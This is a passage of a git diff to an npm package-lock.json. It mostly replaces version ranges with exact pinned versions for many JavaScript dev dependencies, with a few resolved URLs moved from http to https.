"^0.4.0", - "lodash": "^4.17.0", - "minimatch": "^3.0.0", - "source-map": "^0.5.1" + "dateformat": "1.0.12", + "istanbul": "0.4.5", + "lodash": "4.17.10", + "minimatch": "3.0.4", + "source-map": "0.5.6" } }, "karma-mocha": { @@ -8718,9 +8713,9 @@ "integrity": "sha1-FRIAlejtgZGG5HoLAS8810GJVWA=", "dev": true, "requires": { - "chalk": "^2.1.0", - "log-symbols": "^2.1.0", - "strip-ansi": "^4.0.0" + "chalk": "2.4.0", + "log-symbols": "2.2.0", + "strip-ansi": "4.0.0" }, "dependencies": { "ansi-regex": { @@ -8735,7 +8730,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { @@ -8744,9 +8739,9 @@ "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" } }, "has-flag": { @@ -8761,7 +8756,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } }, "supports-color": { @@ -8770,7 +8765,7 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } @@ -8781,8 +8776,8 @@ "integrity": "sha1-0jyjSAG9qYY60xjju0vUBisTrNI=", "dev": true, "requires": { - "lodash": "^4.0.1", - "phantomjs-prebuilt": "^2.1.7" + "lodash": "4.17.10", + "phantomjs-prebuilt": "2.1.16" } }, "karma-sourcemap-loader": { @@ -8791,7 +8786,7 @@ "integrity": "sha1-kTIsd/jxPUb+0GKwQuEAnUxFBdg=", "dev": true, "requires": { - "graceful-fs": "^4.1.2" + "graceful-fs": "4.1.11" } }, "karma-webpack": { @@ -8800,12 +8795,12 @@ "integrity": "sha512-nRudGJWstvVuA6Tbju9tyGUfXTtI1UXMXoRHVmM2/78D0q6s/Ye2IC157PKNDC15PWFGR0mVIRtWLAdcfsRJoA==", "dev": true, "requires": { - "async": "^2.0.0", - "babel-runtime": "^6.0.0", - "loader-utils": "^1.0.0", - "lodash": "^4.0.0", - "source-map": "^0.5.6", - "webpack-dev-middleware": "^2.0.6" + "async": "2.6.1", + "babel-runtime": "6.25.0", + "loader-utils": "1.1.0", + "lodash": "4.17.10", + "source-map": "0.5.6", + "webpack-dev-middleware": "2.0.6" }, "dependencies": { "async": { @@ -8858,7 +8853,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } }, "klaw": { @@ -8867,7 +8862,7 @@ "integrity": "sha1-QIhDO0azsbolnXh4XY6W9zugJDk=", "dev": true, "requires": { - "graceful-fs": "^4.1.9" + "graceful-fs": "4.1.11" } }, "lazy-cache": { @@ -8883,7 +8878,7 @@ "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", "dev": true, "requires": { - "invert-kv": "^1.0.0" + "invert-kv": "1.0.0" } }, "levn": { @@ -8892,8 +8887,8 @@ "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", "dev": true, "requires": { - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2" + "prelude-ls": "1.1.2", + "type-check": "0.3.2" } }, "load-json-file": { @@ -8902,11 +8897,11 @@ "integrity": "sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=", "dev": true, "requires": { - "graceful-fs": "^4.1.2", - "parse-json": "^2.2.0", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0", - "strip-bom": "^2.0.0" + "graceful-fs": "4.1.11", + "parse-json": "2.2.0", + "pify": "2.3.0", + "pinkie-promise": "2.0.1", + "strip-bom": "2.0.0" }, "dependencies": { "strip-bom": { @@ -8915,7 +8910,7 @@ "integrity": "sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=", "dev": true, "requires": { - "is-utf8": "^0.2.0" + "is-utf8": "0.2.1" } } } @@ -8926,7 +8921,7 @@ "integrity": "sha1-VuC/CL2XCLJqdltoUJhAyN7J/bw=", "dev": true, "requires": { - "find-cache-dir": "^0.1.1", + "find-cache-dir": "0.1.1", "mkdirp": "0.5.1" }, "dependencies": { @@ -8936,9 +8931,9 @@ "integrity": "sha1-yN765XyKUqinhPnjHFfHQumToLk=", "dev": true, "requires": { - "commondir": "^1.0.1", - "mkdirp": "^0.5.1", - "pkg-dir": "^1.0.0" + "commondir": "1.0.1", + "mkdirp": "0.5.1", + "pkg-dir": "1.0.0" } }, "pkg-dir": { @@ -8947,7 +8942,7 @@ "integrity": "sha1-ektQio1bstYp1EcFb/TpyTFM89Q=", "dev": true, "requires": { - "find-up": "^1.0.0" + "find-up": "1.1.2" } } } @@ -8964,10 +8959,10 @@ "integrity": "sha1-+G5jdNQyBabmxg6RlvF8Apm/s0g=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0", - "object-assign": "^4.0.1" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1", + "object-assign": "4.1.1" } }, "locate-path": { @@ -8976,8 +8971,8 @@ "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", "dev": true, "requires": { - "p-locate": "^2.0.0", - "path-exists": "^3.0.0" + "p-locate": "2.0.0", + "path-exists": "3.0.0" }, "dependencies": { "path-exists": { @@ -9026,7 +9021,7 @@ "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", "dev": true, "requires": { - "chalk": "^2.0.1" + "chalk": "2.4.0" }, "dependencies": { "ansi-styles": { @@ -9035,7 +9030,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { @@ -9044,9 +9039,9 @@ "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" } }, "has-flag": { @@ -9061,7 +9056,7 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } @@ -9072,10 +9067,10 @@ "integrity": "sha512-IX5c3G/7fuTtdr0JjOT2OIR12aTESVhsH6cEsijloYwKgcPRlO6DgOU72v0UFhWcoV1HN6+M3dwT89qVPLXm0w==", "dev": true, "requires": { - "circular-json": "^0.5.5", - "date-format": "^1.2.0", - "debug": "^3.1.0", - "rfdc": "^1.1.2", + "circular-json": "0.5.5", + "date-format": "1.2.0", + "debug": "3.1.0", + "rfdc": "1.1.2", "streamroller": "0.7.0" }, "dependencies": { @@ -9108,8 +9103,8 @@ "integrity": "sha512-V/73qkPuJmx4BcBF19xPBr+0ZRVBhc4POxvZTZdMeXpJ4NItXSJ/MSwuFT0kQJlCbXvdlZoQQ/418bS1y9Jh6A==", "dev": true, "requires": { - "es6-symbol": "^3.1.1", - "object.assign": "^4.1.0" + "es6-symbol": "3.1.1", + "object.assign": "4.1.0" } }, "longest": { @@ -9123,7 +9118,7 @@ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.3.1.tgz", "integrity": "sha1-0aitM/qc4OcT1l/dCsi3SNR4yEg=", "requires": { - "js-tokens": "^3.0.0" + "js-tokens": "3.0.2" } }, "loud-rejection": { @@ -9132,8 +9127,8 @@ "integrity": "sha1-W0b4AUft7leIcPCG0Eghz5mOVR8=", "dev": true, "requires": { - "currently-unhandled": "^0.4.1", - "signal-exit": "^3.0.0" + "currently-unhandled": "0.4.1", + "signal-exit": "3.0.2" } }, "lower-case": { @@ -9148,8 +9143,8 @@ "integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==", "dev": true, "requires": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" + "pseudomap": "1.0.2", + "yallist": "2.1.2" } }, "make-dir": { @@ -9158,7 +9153,7 @@ "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", "dev": true, "requires": { - "pify": "^3.0.0" + "pify": "3.0.0" }, "dependencies": { "pify": { @@ -9175,7 +9170,7 @@ "integrity": "sha512-UN1dNocxQq44IhJyMI4TU8phc2m9BddacHRPRjKGLYaF0jqd3xLz0jS0skpAU9WgYyoR4gHtUpzytNBS385FWQ==", "dev": true, "requires": { - "p-defer": "^1.0.0" + "p-defer": "1.0.0" } }, "map-cache": { @@ -9196,7 +9191,7 @@ "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", "dev": true, "requires": { - "object-visit": "^1.0.0" + "object-visit": "1.0.1" } }, "md5.js": { @@ -9205,9 +9200,9 @@ "integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==", "dev": true, "requires": { - "hash-base": "^3.0.0", - "inherits": "^2.0.1", - "safe-buffer": "^5.1.2" + "hash-base": "3.0.4", + "inherits": "2.0.3", + "safe-buffer": "5.1.2" }, "dependencies": { "safe-buffer": { @@ -9230,7 +9225,7 @@ "integrity": "sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=", "dev": true, "requires": { - "mimic-fn": "^1.0.0" + "mimic-fn": "1.2.0" } }, "memory-fs": { @@ -9239,8 +9234,8 @@ "integrity": "sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=", "dev": true, "requires": { - "errno": "^0.1.3", - "readable-stream": "^2.0.1" + "errno": "0.1.7", + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -9257,17 +9252,17 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -9276,7 +9271,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -9287,16 +9282,16 @@ "integrity": "sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=", "dev": true, "requires": { - "camelcase-keys": "^2.0.0", - "decamelize": "^1.1.2", - "loud-rejection": "^1.0.0", - "map-obj": "^1.0.1", - "minimist": "^1.1.3", - "normalize-package-data": "^2.3.4", - "object-assign": "^4.0.1", - "read-pkg-up": "^1.0.1", - "redent": "^1.0.0", - "trim-newlines": "^1.0.0" + "camelcase-keys": "2.1.0", + "decamelize": "1.2.0", + "loud-rejection": "1.6.0", + "map-obj": "1.0.1", + "minimist": "1.2.0", + "normalize-package-data": "2.4.0", + "object-assign": "4.1.1", + "read-pkg-up": "1.0.1", + "redent": "1.0.0", + "trim-newlines": "1.0.0" } }, "merge-descriptors": { @@ -9318,19 +9313,19 @@ "dev": true, "optional": true, "requires": { - "arr-diff": "^2.0.0", - "array-unique": "^0.2.1", - "braces": "^1.8.2", - "expand-brackets": "^0.1.4", - "extglob": "^0.3.1", - "filename-regex": "^2.0.0", - "is-extglob": "^1.0.0", - "is-glob": "^2.0.1", - "kind-of": "^3.0.2", - "normalize-path": "^2.0.1", - "object.omit": "^2.0.0", - "parse-glob": "^3.0.4", - "regex-cache": "^0.4.2" + "arr-diff": "2.0.0", + "array-unique": "0.2.1", + "braces": "1.8.5", + "expand-brackets": "0.1.5", + "extglob": "0.3.2", + "filename-regex": "2.0.1", + "is-extglob": "1.0.0", + "is-glob": "2.0.1", + "kind-of": "3.2.2", + "normalize-path": "2.1.1", + "object.omit": "2.0.1", + "parse-glob": "3.0.4", + "regex-cache": "0.4.3" } }, "miller-rabin": { @@ -9339,8 +9334,8 @@ "integrity": "sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==", "dev": true, "requires": { - "bn.js": "^4.0.0", - "brorand": "^1.0.1" + "bn.js": "4.11.8", + "brorand": "1.1.0" } }, "mime": { @@ -9361,7 +9356,7 @@ "integrity": "sha1-K4WKUuXs1RbbiXrCvodIeDBpjiM=", "dev": true, "requires": { - "mime-db": "~1.29.0" + "mime-db": "1.29.0" } }, "mimic-fn": { @@ -9376,7 +9371,7 @@ "integrity": "sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=", "dev": true, "requires": { - "dom-walk": "^0.1.0" + "dom-walk": "0.1.1" } }, "minimalistic-assert": { @@ -9394,10 +9389,10 @@ "minimatch": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", "dev": true, "requires": { - "brace-expansion": "^1.1.7" + "brace-expansion": "1.1.8" } }, "minimist": { @@ -9412,16 +9407,16 @@ "integrity": "sha512-zHo8v+otD1J10j/tC+VNoGK9keCuByhKovAvdn74dmxJl9+mWHnx6EMsDN4lgRoMI/eYo2nchAxniIbUPb5onw==", "dev": true, "requires": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^2.0.1", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" + "concat-stream": "1.6.0", + "duplexify": "3.6.0", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.3", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "2.0.1", + "pumpify": "1.5.1", + "stream-each": "1.2.3", + "through2": "2.0.3" } }, "mixin-deep": { @@ -9430,8 +9425,8 @@ "integrity": "sha512-8ZItLHeEgaqEvd5lYBXfm4EZSFCX29Jb9K+lAHhDKzReKBQKj3R+7NOF6tjqYi9t4oI8VUfaWITJQm86wnXGNQ==", "dev": true, "requires": { - "for-in": "^1.0.2", - "is-extendable": "^1.0.1" + "for-in": "1.0.2", + "is-extendable": "1.0.1" }, "dependencies": { "is-extendable": { @@ -9440,7 +9435,7 @@ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", "dev": true, "requires": { - "is-plain-object": "^2.0.4" + "is-plain-object": "2.0.4" } } } @@ -9496,12 +9491,12 @@ "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", "dev": true, "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "has-flag": { @@ -9516,7 +9511,7 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } @@ -9532,12 +9527,12 @@ "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=", "dev": true, "requires": { - "aproba": "^1.1.1", - "copy-concurrently": "^1.0.0", - "fs-write-stream-atomic": "^1.0.8", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.3" + "aproba": "1.2.0", + "copy-concurrently": "1.0.5", + "fs-write-stream-atomic": "1.0.10", + "mkdirp": "0.5.1", + "rimraf": "2.6.2", + "run-queue": "1.0.3" } }, "ms": { @@ -9552,8 +9547,8 @@ "integrity": "sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==", "dev": true, "requires": { - "dns-packet": "^1.3.1", - "thunky": "^1.0.2" + "dns-packet": "1.3.1", + "thunky": "1.0.2" } }, "multicast-dns-service-types": { @@ -9581,17 +9576,17 @@ "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "fragment-cache": "^0.2.1", - "is-windows": "^1.0.2", - "kind-of": "^6.0.2", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "fragment-cache": "0.2.1", + "is-windows": "1.0.2", + "kind-of": "6.0.2", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "arr-diff": { @@ -9650,7 +9645,7 @@ "integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==", "dev": true, "requires": { - "lower-case": "^1.1.1" + "lower-case": "1.1.4" } }, "node-forge": { @@ -9665,28 +9660,28 @@ "integrity": "sha512-5AzFzdoIMb89hBGMZglEegffzgRg+ZFoUmisQ8HI4j1KDdpx13J0taNp2y9xPbur6W61gepGDDotGBVQ7mfUCg==", "dev": true, "requires": { - "assert": "^1.1.1", - "browserify-zlib": "^0.2.0", - "buffer": "^4.3.0", - "console-browserify": "^1.1.0", - "constants-browserify": "^1.0.0", - "crypto-browserify": "^3.11.0", - "domain-browser": "^1.1.1", - "events": "^1.0.0", - "https-browserify": "^1.0.0", - "os-browserify": "^0.3.0", + "assert": "1.4.1", + "browserify-zlib": "0.2.0", + "buffer": "4.9.1", + "console-browserify": "1.1.0", + "constants-browserify": "1.0.0", + "crypto-browserify": "3.12.0", + "domain-browser": "1.2.0", + "events": "1.1.1", + "https-browserify": "1.0.0", + "os-browserify": "0.3.0", "path-browserify": "0.0.0", - "process": "^0.11.10", - "punycode": "^1.2.4", - "querystring-es3": "^0.2.0", - "readable-stream": "^2.3.3", - "stream-browserify": "^2.0.1", - "stream-http": "^2.7.2", - "string_decoder": "^1.0.0", - "timers-browserify": "^2.0.4", + "process": "0.11.10", + "punycode": "1.4.1", + "querystring-es3": "0.2.1", + "readable-stream": "2.3.6", + "stream-browserify": "2.0.1", + "stream-http": "2.8.3", + "string_decoder": "1.1.1", + "timers-browserify": "2.0.10", "tty-browserify": "0.0.0", - "url": "^0.11.0", - "util": "^0.10.3", + "url": "0.11.0", + "util": "0.10.4", "vm-browserify": "0.0.4" }, "dependencies": { @@ -9710,17 +9705,17 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -9729,7 +9724,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -9740,8 +9735,8 @@ "integrity": "sha1-2o69nzr51nYJGbJ9nNyAkqczKFk=", "dev": true, "requires": { - "inherits": "^2.0.1", - "readable-stream": "~1.0.31" + "inherits": "2.0.3", + "readable-stream": "1.0.34" } }, "nopt": { @@ -9750,19 +9745,19 @@ "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", "dev": true, "requires": { - "abbrev": "1" + "abbrev": "1.0.9" } }, "normalize-package-data": { "version": "2.4.0", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", - "integrity": "sha512-9jjUFbTPfEy3R/ad/2oNbKtW9Hgovl5O1FvFWKkKblNXoN/Oou6+9+KKohPK13Yc3/TyunyWhJp6gvRNR/PPAw==", + "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", "dev": true, "requires": { - "hosted-git-info": "^2.1.4", - "is-builtin-module": "^1.0.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" + "hosted-git-info": "2.7.1", + "is-builtin-module": "1.0.0", + "semver": "4.3.6", + "validate-npm-package-license": "3.0.4" } }, "normalize-path": { @@ -9771,7 +9766,7 @@ "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", "dev": true, "requires": { - "remove-trailing-separator": "^1.0.1" + "remove-trailing-separator": "1.0.2" } }, "normalize.css": { @@ -9784,132 +9779,132 @@ "resolved": "https://registry.npmjs.org/npm/-/npm-6.4.1.tgz", "integrity": "sha512-mXJL1NTVU136PtuopXCUQaNWuHlXCTp4McwlSW8S9/Aj8OEPAlSBgo8og7kJ01MjCDrkmqFQTvN5tTEhBMhXQg==", "requires": { - "JSONStream": "^1.3.4", - "abbrev": "~1.1.1", - "ansicolors": "~0.3.2", - "ansistyles": "~0.1.3", - "aproba": "~1.2.0", - "archy": "~1.0.0", - "bin-links": "^1.1.2", - "bluebird": "~3.5.1", - "byte-size": "^4.0.3", - "cacache": "^11.2.0", - "call-limit": "~1.1.0", - "chownr": "~1.0.1", - "ci-info": "^1.4.0", - "cli-columns": "^3.1.2", - "cli-table3": "^0.5.0", - "cmd-shim": "~2.0.2", - "columnify": "~1.5.4", - "config-chain": "~1.1.11", - "debuglog": "*", - "detect-indent": "~5.0.0", - "detect-newline": "^2.1.0", - "dezalgo": "~1.0.3", - "editor": "~1.0.0", - "figgy-pudding": "^3.4.1", - "find-npm-prefix": "^1.0.2", - "fs-vacuum": "~1.2.10", - "fs-write-stream-atomic": "~1.0.10", - "gentle-fs": "^2.0.1", - "glob": "~7.1.2", - "graceful-fs": "~4.1.11", - "has-unicode": "~2.0.1", - "hosted-git-info": "^2.7.1", - "iferr": "^1.0.2", - "imurmurhash": "*", - "inflight": "~1.0.6", - "inherits": "~2.0.3", - "ini": "^1.3.5", - "init-package-json": "^1.10.3", - "is-cidr": "^2.0.6", - "json-parse-better-errors": "^1.0.2", - "lazy-property": "~1.0.0", - "libcipm": "^2.0.2", - "libnpmhook": "^4.0.1", - "libnpx": "^10.2.0", - "lock-verify": "^2.0.2", - "lockfile": "^1.0.4", - "lodash._baseindexof": "*", - "lodash._baseuniq": "~4.6.0", - "lodash._bindcallback": "*", - "lodash._cacheindexof": "*", - "lodash._createcache": "*", - "lodash._getnative": "*", - "lodash.clonedeep": "~4.5.0", - "lodash.restparam": "*", - "lodash.union": "~4.6.0", - "lodash.uniq": "~4.5.0", - "lodash.without": "~4.4.0", - "lru-cache": "^4.1.3", - "meant": "~1.0.1", - "mississippi": "^3.0.0", - "mkdirp": "~0.5.1", - "move-concurrently": "^1.0.1", - "node-gyp": "^3.8.0", - "nopt": "~4.0.1", - "normalize-package-data": "~2.4.0", - "npm-audit-report": "^1.3.1", - "npm-cache-filename": "~1.0.2", - "npm-install-checks": "~3.0.0", - "npm-lifecycle": "^2.1.0", - "npm-package-arg": "^6.1.0", - "npm-packlist": "^1.1.11", - "npm-pick-manifest": "^2.1.0", - "npm-profile": "^3.0.2", - "npm-registry-client": "^8.6.0", - "npm-registry-fetch": "^1.1.0", - "npm-user-validate": "~1.0.0", - "npmlog": "~4.1.2", - "once": "~1.4.0", - "opener": "^1.5.0", - "osenv": "^0.1.5", - "pacote": "^8.1.6", - "path-is-inside": "~1.0.2", - "promise-inflight": "~1.0.1", - "qrcode-terminal": "^0.12.0", - "query-string": "^6.1.0", - "qw": "~1.0.1", - "read": "~1.0.7", - "read-cmd-shim": "~1.0.1", - "read-installed": "~4.0.3", - "read-package-json": "^2.0.13", - "read-package-tree": "^5.2.1", - "readable-stream": "^2.3.6", - "readdir-scoped-modules": "*", - "request": "^2.88.0", - "retry": "^0.12.0", - "rimraf": "~2.6.2", - "safe-buffer": "^5.1.2", - "semver": "^5.5.0", - "sha": "~2.0.1", - "slide": "~1.1.6", - "sorted-object": "~2.0.1", - "sorted-union-stream": "~2.1.3", - "ssri": "^6.0.0", - "stringify-package": "^1.0.0", - "tar": "^4.4.6", - "text-table": "~0.2.0", - "tiny-relative-date": "^1.3.0", + "JSONStream": "1.3.4", + "abbrev": "1.1.1", + "ansicolors": "0.3.2", + "ansistyles": "0.1.3", + "aproba": "1.2.0", + "archy": "1.0.0", + "bin-links": "1.1.2", + "bluebird": "3.5.1", + "byte-size": "4.0.3", + "cacache": "11.2.0", + "call-limit": "1.1.0", + "chownr": "1.0.1", + "ci-info": "1.4.0", + "cli-columns": "3.1.2", + "cli-table3": "0.5.0", + "cmd-shim": "2.0.2", + "columnify": "1.5.4", + "config-chain": "1.1.11", + "debuglog": "1.0.1", + "detect-indent": "5.0.0", + "detect-newline": "2.1.0", + "dezalgo": "1.0.3", + "editor": "1.0.0", + "figgy-pudding": "3.4.1", + "find-npm-prefix": "1.0.2", + "fs-vacuum": "1.2.10", + "fs-write-stream-atomic": "1.0.10", + "gentle-fs": "2.0.1", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "has-unicode": "2.0.1", + "hosted-git-info": "2.7.1", + "iferr": "1.0.2", + "imurmurhash": "0.1.4", + "inflight": "1.0.6", + "inherits": "2.0.3", + "ini": "1.3.5", + "init-package-json": "1.10.3", + "is-cidr": "2.0.6", + "json-parse-better-errors": "1.0.2", + "lazy-property": "1.0.0", + "libcipm": "2.0.2", + "libnpmhook": "4.0.1", + "libnpx": "10.2.0", + "lock-verify": "2.0.2", + "lockfile": "1.0.4", + "lodash._baseindexof": "3.1.0", + "lodash._baseuniq": "4.6.0", + "lodash._bindcallback": "3.0.1", + "lodash._cacheindexof": "3.0.2", + "lodash._createcache": "3.1.2", + "lodash._getnative": "3.9.1", + "lodash.clonedeep": "4.5.0", + "lodash.restparam": "3.6.1", + "lodash.union": "4.6.0", + "lodash.uniq": "4.5.0", + "lodash.without": "4.4.0", + "lru-cache": "4.1.3", + "meant": "1.0.1", + "mississippi": "3.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "node-gyp": "3.8.0", + "nopt": "4.0.1", + "normalize-package-data": "2.4.0", + "npm-audit-report": "1.3.1", + "npm-cache-filename": "1.0.2", + "npm-install-checks": 